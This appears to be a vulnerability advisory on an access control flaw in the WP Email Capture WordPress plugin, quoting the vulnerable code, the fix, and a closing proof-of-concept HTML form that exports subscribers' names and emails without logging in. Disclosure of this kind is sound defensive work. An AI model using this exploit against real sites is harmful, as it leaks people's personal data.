Information Disclosure Vulnerability in WP Email Capture
Yesterday, we saw what appeared to be a hacker probing for usage of the WordPress plugin WP Email Capture. Looking at the latest version we found a number of places where the code was insecure, but nothing that looked a vulnerability that a hacker would exploit. One of the recent versions of the plugin had changelog that might explain a hacker’s interest:
Major update – fixed a Unauthenticated Broken Access Control security bug which could allow non authenticated users to download the lists.
Looking at the changes made in that version, we confirmed that previously any one could download the names and associated email addresses submitted through the plugin.
The vulnerable code existed in the function wp_email_capture_options_process(), which is located in the file /inc/options.php. That function is registered to run during admin_init, which makes it available to even those not logged in to WordPress:
44 | add_action( 'admin_init', 'wp_email_capture_options_process' ); |
Before the fix, the function wp_email_capture_export(), which would cause a download of the plugin’s data, would be run without any security checks:
631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 | function wp_email_capture_options_process() { // whitelist options register_setting('wp-email-capture-group', 'wp_email_capture_signup'); register_setting('wp-email-capture-group', 'wp_email_capture_redirection'); register_setting('wp-email-capture-group', 'wp_email_capture_from'); register_setting('wp-email-capture-group', 'wp_email_capture_subject'); register_setting('wp-email-capture-group', 'wp_email_capture_body'); register_setting('wp-email-capture-group', 'wp_email_capture_link'); register_setting('wp-email-capture-group', 'wp_email_capture_from_name'); register_setting('wp-email-capture-group', 'wp_email_capture_name_required'); register_setting('wp-email-capture-group', 'wp_email_capture_name_delimeter'); register_setting('wp-email-capture-group', 'wp_email_capture_send_email_html'); register_setting('wp-email-capture-group', 'wp_email_capture_disabled_headers'); register_setting('wp-email-capture-group', 'wp_email_capture_default_styling'); register_setting('wp-email-capture-group', 'wp_email_capture_enable_gdpr'); register_setting('wp-email-capture-group', 'wp_email_capture_recaptcha_client_api_key'); register_setting('wp-email-capture-group', 'wp_email_capture_recaptcha_server_api_key'); register_setting('wp-email-capture-group', 'wp_email_capture_recaptcha_api_type'); register_setting('wp-email-capture-group', 'wp_email_capture_unit_for_privacy'); register_setting('wp-email-capture-group', 'wp_email_capture_number_for_privacy', 'wp_email_capture_check_number_is_a_number'); if (isset($_REQUEST['wp_email_capture_export'])) { wp_email_capture_export(); |
In the new version a check was added to only allow users with the Administrator role access to the download:
653 654 655 656 657 658 659 660 | if (isset($_REQUEST['wp_email_capture_export'])) { if (is_user_logged_in() ) { if ( current_user_can('administrator') ) { wp_email_capture_export(); } else { wp_die( "Admin's Only Please" ); } |
Proof of Concept
The following proof of concept will download the names and email addresses submitted through the plugin.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST"> <input type="hidden" name="wp_email_capture_export" value="" /> <input type="submit" value="Submit" /> </form> </body>